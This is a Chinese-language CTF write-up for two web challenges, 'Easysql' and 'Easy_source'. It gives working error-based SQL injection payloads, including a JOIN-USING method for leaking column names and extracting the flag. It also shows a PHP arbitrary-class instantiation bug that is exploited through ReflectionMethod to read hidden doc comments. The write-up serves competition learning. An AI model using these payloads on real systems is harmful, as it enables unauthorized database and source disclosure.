WEB
Easysql
模糊测试
发现columns
,information
,union
(大小写)被过滤
报错回显点
UNION联合注入无法使用,测试登录发现报错点
回显位和库名
我们采用报错注入,用and做语法连接
// 测试列数
wyx123')and(select 1)#
// 爆破库名
wyx123')and(select updatexml(1,concat(0x7e,database(),0x7e),1))#
列名的猜解-无列名注入
当我们构造连接查询,对其加上using限制(using:连接查询的条件),当被连接的两个表包含名字完全相同的列时,当使用using,必须将所有的列名包含,否则会产生列名字的重复,系统无法处理产生报错。
当未包含全部出现重复的列名时,将会按照从左到右的顺序,每次一个的将列名列出(我们可以将目标库自己和自己连接)。
select * from (select * from demo1 a join (select * from demo1)b using(xxx))c;
前面被卡在了列名处
猜测表名为flag
,猜测一个列名为id
(后边用sqlmap验证了,存在id这一列),我们构造
// 利用报错注入爆破列名(第一步)
uname=wyx123')and(select%20extractvalue(1,concat(0x7e,(select * from(select * from flag a1 join (select * from flag) a2 using(id,no))a3))))#&passwd=2333&Submit=%E7%99%BB%E5%BD%95
-> no
// 利用报错注入爆破列名(第二步)
uname=wyx123')and(select%20extractvalue(1,concat(0x7e,(select * from(select * from flag a1 join (select * from flag) a2 using(id,no))a3))))#&passwd=2333&Submit=%E7%99%BB%E5%BD%95
-> `0d3bc3e9-2a27-4e93-a912-731a588ca07e`
爆破数据
wyx123')and(select updatexml(1,concat(0x7e,left((select `0d3bc3e9-2a27-4e93-a912-731a588ca07e` from flag),32),0x7e),1))#
// 前半段:CISCN{0nB2q-HgicN-WRaVM-H2Swj-R
wyx123')and(select updatexml(1,concat(0x7e,right((select `0d3bc3e9-2a27-4e93-a912-731a588ca07e` from flag),20),0x7e),1))#
// 后半段:~-WRaVM-H2Swj-RD7n3-}~
//合并: CISCN{0nB2q-HgicN-WRaVM-H2Swj-RD7n3-}
Easy_source
扫描目录
使用disearch和手写脚本扫描目录,发现index.php.swo
备份文件
源代码
本题目没有其他代码了噢,就只有这一个文件,虽然你看到的不完全,但是你觉得我会把flag藏在哪里呢,仔细想想文件里面还有什么?
<?php
class User
{
private static $c = 0;
function a()
{
return ++self::$c;
}
function b()
{
return ++self::$c;
}
function c()
{
return ++self::$c;
}
function d()
{
return ++self::$c;
}
function e()
{
return ++self::$c;
}
function f()
{
return ++self::$c;
}
function g()
{
return ++self::$c;
}
function h()
{
return ++self::$c;
}
function i()
{
return ++self::$c;
}
function j()
{
return ++self::$c;
}
function k()
{
return ++self::$c;
}
function l()
{
return ++self::$c;
}
function m()
{
return ++self::$c;
}
function n()
{
return ++self::$c;
}
function o()
{
return ++self::$c;
}
function p()
{
return ++self::$c;
}
function q()
{
return ++self::$c;
}
function r()
{
return ++self::$c;
}
function s()
{
return ++self::$c;
}
function t()
{
return ++self::$c;
}
}
$rc=$_GET["rc"];
$rb=$_GET["rb"];
$ra=$_GET["ra"];
$rd=$_GET["rd"];
$method= new $rc($ra, $rb);
var_dump($method->$rd());
本地测试
生成对象,调用方法
$x=new User;
echo $x->d();
发现只是完成了一个输出的操作
类中的方法很多,而且最后使用了var_dump(),猜测是读取某个类对应的注释
$method= new $rc($ra, $rb);
var_dump($method->$rd());
且上述语句可以生成一个任意类对象,且可以调用一个方法,且参数可控。
方案
关于读取对象的注释,我们采用内置类 ReflectionMethod中的__toString
或者getDocComment
对函数进行读取
类和方法原型
$obj = new ReflectionClass(B::class);
$obj->getDocComment(); // 注释
$obj->__toString () //字符串对象
所以我们的构造目标为
$method= new ReflectionClass('user', '对象方法');
var_dump($method->getDocComment());
本地测试2
/**
* @doc this-is-a-test
*/
function c()
{
return ++self::$c;
}
Payload
http://xxx.xxx.xxx?rc=ReflectionMethod&ra=User&rb=$$&rd=getDocComment
因为我们要指定对象的方法,才能看到对应方法上方的注释,所以我们要进行爆破